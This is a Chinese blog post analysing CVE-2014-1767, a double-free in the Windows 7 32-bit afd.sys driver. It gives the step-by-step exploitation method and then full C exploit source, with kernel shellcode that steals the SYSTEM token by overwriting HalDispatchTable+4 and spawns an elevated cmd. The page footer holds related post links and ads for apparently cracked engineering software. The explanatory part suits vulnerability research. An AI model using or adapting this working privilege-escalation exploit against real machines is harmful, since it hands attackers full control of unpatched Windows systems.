CVE-2014-1767 利用分析(2015.2)

CVE-2014-1767利用分析

参考这篇文章利用思路,重现利用,主要说明自己在实现的时候遇到的坑。

利用思路

1. 第一次 IoControl,释放 MDL,我们通过 VirtualAddress 和 Length 设置此时被释放 的 MDL 内存大小为 0xA0。

2. NtCreateWorkerFactory 申请新的 WorkerFactoy 对象,占据【1】中被释放掉的内 存。

3. 第二次 IoControl,double free会释放掉刚刚申请的 WorkerFactoy 对象。

4. NtQueryEaFile 把我们精心设置的内容,填充到刚被释放掉的 WorkerFactory 对象内存空间(UAF)。

5. NtSetInformationWorkerFactory 操作我们的 fake object,达到修改 HalDispatchTable+4 内容为 shellcode(功能是使用系统token覆盖当前进行token)。

6. 用户层调用 NtQueryIntervalProfile,触发内核执行 shellcode。

7. 当前进行已经是管理员权限了,创建的子进程也具有相同的权限,提权完成。

一些坑和解释

1. 将初始化的操作都放在第一次IoControl之前,使【1】和【2】的时间间隔最小,这样占位成功的机会最大,但仍有占位不成功的时候,原因未知。

2. 所构造的fake WorkerFactory object 数据如下:

object header和object body是需要我们来布置的。

object header来自一个创建的object的部分。

object body部分其实就两个位置+00h和+10h,为了最后NtSetInformationWorkerFactory函数中的这条语句:*(*(*object+0x10)+0x1C) = *arg3,使左边的语句为HalDispatchTable+4。

其他置于0就可以了。

3. 分配的内存数据:

4. NtQueryEaFile的参数EaListLength必须为0x98,因为这样才可以保证【4】的正常执行。

5. NtSetInformationWorkerFactory函数的每一个参数都非常重要,不可以设置为其他的值,这都是跟踪得到能够到达目标代码的参数结果。6. NtQueryIntervalProfile的第一个参数也十分重要,等于2的时候才会走向调用HalDispatchTable+4的流程中去。

7.Shellcode中,提权结束后会做一些善后处理,将hWorkerFactory在HandleTableEntry的入口设置为NULL,不然提权进程结束后会蓝屏。因为我们已经破坏掉hWorkerFactory所对应的内核结构了,系统会对其进行清理操作的时候就会出问题。

遗留问题:HalDispatchTable+4的恢复问题,暂时不知道怎么读取其对应函数的地址。不过这个函数调用不是特别频繁,还是可以清楚的看到结果。

exp代码如下:

//CVE-2014-1767 exp for win7 32bit
//by 会飞的猫 2015.2.4
//complied with VS2013
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "WS2_32.lib")

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef LPVOID PEPROCESS;

typedef NTSTATUS(__stdcall *_NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T);
typedef NTSTATUS(__stdcall *_NtQueryEaFile)(HANDLE, PVOID, PVOID, ULONG, BOOLEAN, PVOID, ULONG, PULONG, BOOLEAN);
typedef NTSTATUS(__stdcall *_ZwAllocateVirtualMemory)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);
typedef NTSTATUS(__stdcall *_NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(__stdcall *_NtSetInformationWorkerFactory)(HANDLE, ULONG, PVOID, ULONG);
typedef NTSTATUS(__stdcall *_NtQueryIntervalProfile)(DWORD,PULONG);
typedef NTSTATUS(__stdcall *_PsLookupProcessByProcessId)(DWORD, LPVOID *);
typedef NTSTATUS(__stdcall *_NtQueryInformationWorkerFactory)(HANDLE, LONG, PVOID, ULONG, PULONG);

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
    HANDLE Section;                 // Not filled in
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR  FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

_NtCreateWorkerFactory NtCreateWorkerFactory;
_NtQueryEaFile NtQueryEaFile;
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
_NtQuerySystemInformation NtQuerySystemInformation;
_NtSetInformationWorkerFactory NtSetInformationWorkerFactory;
_NtQueryIntervalProfile NtQueryIntervalProfile;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
_NtQueryInformationWorkerFactory NtQueryInformationWorkerFactory;

HANDLE hWorkerFactory;
LPVOID AllocAddr = (LPVOID)0x20000000;
ULONG uHalDispatchTable = 0;
HMODULE ntoskrnl;
ULONG ntoskrnlBase;
PVOID pHaliQuerySystemInformation=NULL;

int GetNtdllFuncAddr()
{
    HMODULE ntdll = GetModuleHandle("ntdll.dll");

    NtCreateWorkerFactory = (_NtCreateWorkerFactory)(GetProcAddress(ntdll, "NtCreateWorkerFactory"));
    if (NtCreateWorkerFactory == NULL)
    {
        printf("Get NtCreateWorkerFactory Address Error:%d", GetLastError());
        CloseHandle(ntdll);
        return -1;
    }

    //NtQueryEaFile
    NtQueryEaFile = (_NtQueryEaFile)GetProcAddress(ntdll, "NtQueryEaFile");
    if (NtQueryEaFile == NULL)
    {
        printf("Get NtQueryEaFile Address Error:%d", GetLastError());
        return -1;
    }
    //ZwAllocateVirtualMemory
    ZwAllocateVirtualMemory = (_ZwAllocateVirtualMemory)GetProcAddress(ntdll, "ZwAllocateVirtualMemory");
    //NtQuerySystemInformation
    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL)
    {
        printf("Get NtQuerySystemInformation Address Error:%d", GetLastError());
        return -1;
    }
    //NtSetInformationWorkerFactory
    NtSetInformationWorkerFactory = (_NtSetInformationWorkerFactory)(GetProcAddress(ntdll, "NtSetInformationWorkerFactory"));
    if (NtSetInformationWorkerFactory == NULL)
    {
        printf("Get NtSetInformationWorkerFactory Address Error:%d", GetLastError());
        return -1;
    }
    //_NtQueryIntervalProfile
    NtQueryIntervalProfile = (_NtQueryIntervalProfile)(GetProcAddress(ntdll, "NtQueryIntervalProfile"));
    if (NtQueryIntervalProfile == NULL)
    {
        printf("Get NtQueryIntervalProfile Address Error:%d", GetLastError());
        return -1;
    }
    //get uHalDispatchTable
    RTL_PROCESS_MODULES module;
    memset(&module, 0, sizeof(RTL_PROCESS_MODULES));
    NTSTATUS status = NtQuerySystemInformation(11, &module, sizeof(RTL_PROCESS_MODULES), NULL);
    if (status != 0xC0000004)    //STATUS_INFO_LENGTH_MISMATCH
    {
        printf("Get module Address Error:%d", GetLastError());
        return -1;
    }
    ntoskrnlBase = (ULONG)module.Modules[0].ImageBase;
    ntoskrnl = LoadLibrary((LPCSTR)(module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName));
    if (ntoskrnl == NULL)
    {
        printf("LoadLibrary ntoskrnl.exe fail!\n");
        return -1;
    }
    uHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl, "HalDispatchTable") - (ULONG)ntoskrnl + ntoskrnlBase;
    if (uHalDispatchTable == 0)
    {
        printf("Get HalDispatchTable Error:%d\n", GetLastError());
        return -1;
    }
    //printf("HalDispatchTable Address:0x%x!\n", uHalDispatchTable);

    //PsLookupProcessByProcessId
    PsLookupProcessByProcessId = (_PsLookupProcessByProcessId)((ULONG)GetProcAddress(ntoskrnl, "PsLookupProcessByProcessId") - (ULONG)ntoskrnl + ntoskrnlBase);
    if (PsLookupProcessByProcessId == NULL)
    {
        printf("Get PsLookupProcessByProcessId Address Error:%d", GetLastError());
        return -1;
    }
    CloseHandle(ntdll);
    return 0;
}
/*int CreateWorkerFactory()
{
    HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);

    DWORD Exploit;
    NTSTATUS status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
    if (!NT_SUCCESS(status))
    {
        printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
        return -1;
    }
    return 0;
}*/
int MyNtQueryEaFile()
{
    NTSTATUS status;
    IO_STATUS_BLOCK StatusBlock;

    status = NtQueryEaFile(NULL, (PIO_STATUS_BLOCK)&StatusBlock, NULL, NULL, FALSE, AllocAddr, 0x98, NULL, TRUE);
    return 0;
}
//shellcode代码
void shellcode()
{
    PEPROCESS pCur, pSys;
    DWORD dwSystemProcessId = 4;
    DWORD dwCurProcessId = GetCurrentProcessId();
    PsLookupProcessByProcessId(dwCurProcessId, &pCur);
    PsLookupProcessByProcessId(dwSystemProcessId, &pSys);
    //replace current process`s token with system token
    *(PVOID *)((DWORD)pCur + 0xf8) = *(PVOID *)((DWORD)pSys + 0xf8);
    //set our handle`s HandleTableEntry with NULL to avoid bugcheck
    PULONG ObjectTable = *(PULONG *)((ULONG)pCur + 0x0f4);
    PULONG HandleTableEntry = (PULONG)(*(ULONG*)(ObjectTable)+2 * ((ULONG)hWorkerFactory & 0xFFFFFFFC));
    *HandleTableEntry = NULL;
    //dec handle reference by 1
    *(ObjectTable + 0x30) -= 1;
    //restore HalDispatchTable+4 to avoid bugcheck
    //*(DWORD*)(uHalDispatchTable + 4) = (DWORD)pHaliQuerySystemInformation;
}
int MyNtSetInformationWorkerFactory()
{
    DWORD* tem = (DWORD*)malloc(0x20);
    memset(tem, ‘A‘, 0x20);
    tem[0] = (DWORD)shellcode;

    NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
    return 0;
}
void CreatNewCmd()
{
    STARTUPINFO         StartupInfo;
    PROCESS_INFORMATION ProcessInfo;

    memset(&StartupInfo, 0, sizeof(StartupInfo));
    memset(&ProcessInfo, 0, sizeof(ProcessInfo));

    StartupInfo.cb = sizeof(STARTUPINFO);
    StartupInfo.wShowWindow = 0;
    StartupInfo.dwFlags = 0;
    CreateProcess(0, "cmd", 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &StartupInfo, &ProcessInfo);
    WaitForSingleObject(ProcessInfo.hProcess, 60000);
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
}
void GetHaliQuerySystemInformation()
{
    static BYTE kernelRetMem[0x60];
    memset(kernelRetMem, 0, sizeof(kernelRetMem));

    NtQueryInformationWorkerFactory(hWorkerFactory,
        7,
        kernelRetMem,
        0x60,
        NULL);

    pHaliQuerySystemInformation = *(PVOID *)(kernelRetMem + 0x50);
    printf("uHaliQuerySystemInformation: %p\n", pHaliQuerySystemInformation);
    return;
}
int main()
{
    printf("----------------------------------------\n");
    printf("****CVE-2014-1767 exp for win7 32bit****\n");
    printf("****by guopeiwei 2015.2.4****\n");
    printf("----------------------------------------\n");
    printf("\n\n\n\n");
    DWORD targetSize = 0xA0;
    DWORD virtualAddress = 0x13371337;
    DWORD Length = ((targetSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000;

    static DWORD inbuf1[100];
    memset(inbuf1, 0, sizeof(inbuf1));
    inbuf1[6] = virtualAddress;
    inbuf1[7] = Length;

    static DWORD inbuf2[100];
    memset(inbuf2, 0, sizeof(inbuf2));
    inbuf2[0] = 1;
    inbuf2[1] = 0x0AAAAAAA;

    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ier;

    WSAStartup(0x2, &WSAData);
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&sa, 0, sizeof(sa));
    sa.sin_port = htons(135);
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.1");
    sa.sin_family = AF_INET;
    ier = connect(s, (const struct sockaddr *)&sa, sizeof(sa));

    static char outBuf[100];
    DWORD bytesRet;

    int nRet = 0;
    //get some kernel function addresses
    nRet = GetNtdllFuncAddr();
    if (nRet != 0)
    {
        return -1;
    }
    //allocate  memory and set some data
    DWORD uRegionSize = 0x200;
    NTSTATUS status = ZwAllocateVirtualMemory(GetCurrentProcess(),
        &AllocAddr, 0, &uRegionSize,
        MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE);
    if (!NT_SUCCESS(status))
    {
        printf("Allocate Mem Failed :%d\n", GetLastError());
        return -1;
    }

    memset(AllocAddr, 0, 0x200);
    __asm
    {
        pushad
            mov eax, AllocAddr
            mov dword ptr[eax + 4], 0xa8
            mov dword ptr[eax + 10h], 2
            mov dword ptr[eax + 14h], 1
            mov dword ptr[eax + 1ch], 80016h
            mov dword ptr[eax + 28h], 20000028h
            mov ebx, uHalDispatchTable
            sub ebx, 18h
            mov dword ptr[eax + 38h], ebx
            popad
    }
    //wait 2 second
    ::Sleep(2000);
    //first IoControl
    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);
    //Create a Workerfactory object to occupy the free Mdl pool
    HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
    DWORD Exploit;
    status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
    if (!NT_SUCCESS(status))
    {
        printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
        return -1;
    }
    //try to read HaliQuerySystemInformation address but failed
    //GetHaliQuerySystemInformation();

    //second IoControl
    //free the Workerfactory object we create just now
    DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);
    //NtQueryEaFile will allocate a pool with the same size of Workerfactory object,and
    //memcpy our data to the Workerfactory object,mainly change Workerfactory object+0x10 to
    //HalDispatchTable+4
    MyNtQueryEaFile();
    //change HalDispatchTable+4 to our shellcode address
    MyNtSetInformationWorkerFactory();
    //Trigger from user mode
    ULONG temp = 0;
    status = NtQueryIntervalProfile(2, &temp);
    if (!NT_SUCCESS(status))
    {
        printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
        return -1;
    }
    printf("done!\n");
    //Sleep(000);
    //Create a new cmd process with current token
    printf("Creating a new cmd...\n");
    CreatNewCmd();
    return 0;
}
时间: 2024-11-10 01:12:16

CVE-2014-1767 利用分析(2015.2)的相关文章

CVE-2015-0057 POC构造 &amp; 利用分析(2015.7)

CVE-2015-0057 POC构造 & 利用分析 主要内容: 构造POC 利用思路 0x00 初探 从这篇文章可以获知: 1.问题出在 win32k!xxxEnableWndSBArrows 函数,其在触发 user-mode callback 后,执行完相应操作后从用户层返回到内核层,对接下来操作的对象未能验证其是否已经释放(更改),而继续对其进行操作,导致UAF.触发user-mode callback的调用流程为: 2.所涉及的敏感对象为 tagSBINFO,可以通过CreateWin

再见,2014;您好,2015!

再见,2014:您好,2015! 光阴似箭,日月如梭,蓦然回首,时光已经走到了年末岁尾之时.在钟声敲响那一刻,我们是否有太多难舍的记忆片段呢?回首即将过去的2014这一年,有起伏,有黯然失色,也有笑意盎然…… 2014年,作为一名普通的学生,踏踏实实的学习着,虽然没有取得值得炫耀的成绩,工作中也没有出现大的失误.在此,我要感谢各位领导和同事们对我的关心与照顾,感谢各位老师对我的支持与信任,让我在一年里学到不少知识和人生的道理,使我在生活中过得充实与快乐,特别是在我遇到困难时.心理纠结时,各位老师

Java反序列化漏洞通用利用分析

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSphere.JBoss.Jenkins.OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行. 然而事实上,博客作者并不是漏洞发现者.博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了

2014,say godbye;Hello,2015!

真的不敢相信,今天就是除夕了,2014年,我们真的要say godbye了,其实,早就是2015年了,但是,只有真正的过了我们的新年,才会感觉新的一年要来了. 2014年真的发生了太多太多的事情,经历了失败的高考:自己手忙脚乱的瞎报了自己的志愿:学了计算机的专业(我以前真的不怎么碰电脑):为了买自己的手机干了那不是人干的的一个多月的兼职(因为是第一次,没有经验,所以总要挨骂):收到了那个我"理想"中的大学的通知书:到了我梦寐以求的但是理想与现实差距太大的大学:碰见了sb:学习了编程:寒

别了,2014;你好,2015!

别了,2014:你好,2015! 2014年马上过去,2015瞬间来临.作为程序员的我想对过去的一年做个盘点.吸取过去的好的经验,祭奠并抛弃自己做的不好的地方,向着美好的2015进发! 2014年,是真职业生涯的第二年.这一年,经历3个大版本,2个定制版本:这一年,由程序员过度到项目经理:这一年,产生并Fixed掉了数十个bug:这一年,提交了13篇以上小的创新...... 还是从工作.生活方面做下细化项总结,着重说问题.不足.待改进点,不走口号形式主义,贵在坚持.贵在落实执行!        

CVE-2014-0322漏洞成因与利用分析

CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了对漏洞的利用,第一次分析这种IE+Flash组合的漏洞利用因此写下此文档作为记录. 2. 实验环境 操作系统:Win7 SP1 浏览器:IE 10.0.9200.16798(补丁打到MS14-010(KB2909921)) 漏洞编号:CVE-2014-0322 微软补丁:MS14-012 3. 漏洞

CVE-2013-3897漏洞成因与利用分析(UAF类漏洞分析流程)

CVE-2013-3897漏洞成因与利用分析(UAF类漏洞分析流程) 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对象引用计数的处理不当,比如在编写程序时忘记AddRef或者多加了Release,最终导致对象的释放.对于IE的大部分对象(COM编程实现)来说,+4偏移处的含义是该对象的引用计数,可以通过跟踪它来定位补丁前后的位置及被释放的位置.+0偏移处的含义是该对象的虚函数表指针,可以通

MyEclipse 2014 GA 和 MyEclipse 2015 CI 和 Eclipse Luna 最新最全下载地址

官方下载地址: Eclipse 标准版 x86 http://mirror.hust.edu.cn/eclipse//technology/epp/downloads/release/luna/R/eclipse-standard-luna-R-win32.zip Eclipse 标准版 x64http://mirror.hust.edu.cn/eclipse//technology/epp/downloads/release/luna/R/eclipse-standard-luna-R-win

CAESAR II 2014 管道应力分析支持win7win8 32 和 64

CAESAR II 2014 管道应力分析支持win7win8 32 和 64OLI Systems 2010(OLI Analyzer v3.1.3 + OLI ScaleChem v4.0.3)CAESAR II 2014 SP1 v7.00.01.1600 Build 141003 支持win7win8管道应力分析软件压力管道设计CAESAR II 2013 R1 v6.10 (2011 v5.30.2支持win7 32 和 64)DNV GL AS Phast v7.11.33.0 1D